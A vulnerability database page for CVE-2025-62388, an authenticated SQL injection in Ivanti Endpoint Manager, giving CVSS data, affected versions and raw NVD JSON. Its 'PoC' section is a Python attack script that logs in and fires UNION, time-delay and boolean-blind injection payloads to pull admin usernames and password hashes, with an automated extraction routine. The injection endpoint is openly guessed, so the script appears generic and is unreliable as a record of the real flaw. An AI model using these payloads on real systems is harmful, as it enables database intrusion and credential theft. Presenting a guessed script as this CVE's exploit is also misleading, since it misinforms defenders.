Security Vulnerability Report
中文
CVE-2025-62388 CVSS 6.5 MEDIUM

CVE-2025-62388

Published: 2025-10-13 22:15:35
Last Modified: 2026-02-10 18:16:21
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

SQL injection in Ivanti Endpoint Manager before version 2024 SU5 allows a remote authenticated attacker to read arbitrary data from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:* - VULNERABLE
Ivanti Endpoint Manager < 2024 SU5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62388 - Ivanti Endpoint Manager SQL Injection PoC # Vulnerability: SQL Injection in Ivanti Endpoint Manager before 2024 SU5 # CVSS: 6.5 (MEDIUM) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N # Requires: Low-privilege authenticated access import requests TARGET_URL = "https://target-epm-server:8443" USERNAME = "low_priv_user" PASSWORD = "password123" session = requests.Session() # Step 1: Authenticate to EPM with low-privilege credentials login_payload = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/auth/login", json=login_payload) print(f"[*] Login status: {login_resp.status_code}") # Step 2: Exploit SQL Injection in vulnerable parameter # The injection point is typically in search/filter parameters vulnerable_endpoint = f"{TARGET_URL}/api/v1/devices/search" # Boolean-based blind SQL injection payloads payloads = [ # Basic injection test "' OR '1'='1", "' UNION SELECT NULL,username,password FROM users--", # Time-based blind injection "'; WAITFOR DELAY '0:0:5'--", # Extract database version "' UNION SELECT @@version,NULL,NULL--", # Extract table names "' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--", # Extract sensitive data (e.g., admin credentials) "' UNION SELECT username,password_hash,salt FROM ldap_users WHERE role='admin'--" ] for payload in payloads: params = {"query": payload, "limit": 100} resp = session.get(vulnerable_endpoint, params=params) print(f"[*] Payload: {payload[:50]}...") print(f"[*] Response length: {len(resp.text)}") if "error" in resp.text.lower(): print(f"[!] Possible SQL error detected") # Step 3: Automated data extraction using boolean-based blind SQLi def extract_data(session, table, column, row_id=1): """Extract data character by character using boolean-based blind SQLi""" extracted = "" for pos in range(1, 100): # Binary search for each character low, high = 32, 126 while low < high: mid = (low + high) // 2 payload = f"' AND ASCII(SUBSTRING((SELECT {column} FROM {table} WHERE id={row_id}),{pos},1))>{mid}--" params = {"query": payload} resp = session.get(vulnerable_endpoint, params=params) # Adjust based on response behavior if resp.status_code == 200 and len(resp.text) > 100: low = mid + 1 else: high = mid if low == 32: break extracted += chr(low) return extracted print("[*] Starting data extraction...") # extracted_data = extract_data(session, "users", "password") print("[*] Extraction complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62388", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2025-10-13T22:15:35.080", "lastModified": "2026-02-10T18:16:21.100", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection in Ivanti Endpoint Manager before version 2024 SU5 allows a remote authenticated attacker to read arbitrary data from the database."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "7ABDE6FE-56CC-4A46-91F2-2F54C3EC6A75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*", "matchCriteriaId": "6C7283FE-C10A-4E37-B004-15FB0CAC49A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:*", "matchCriteriaId": "FC51EEA2-1C4C-4069-9704-7ACFE4773930"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:*", "matchCriteriaId": "E1EF5E1B-9377-49D3-9BE3-62FC78E666A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:*", "matchCriteriaId": "749AADDA-834D-4EC0-B7FF-E136FD1984F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3_security_release_1:*:*:*:*:*:*", "matchCriteriaId": "698BF7A1-62A1-45B5-BF08-AB3F3AA0245C"}]}]}], "references": [{"url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-October-2025", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}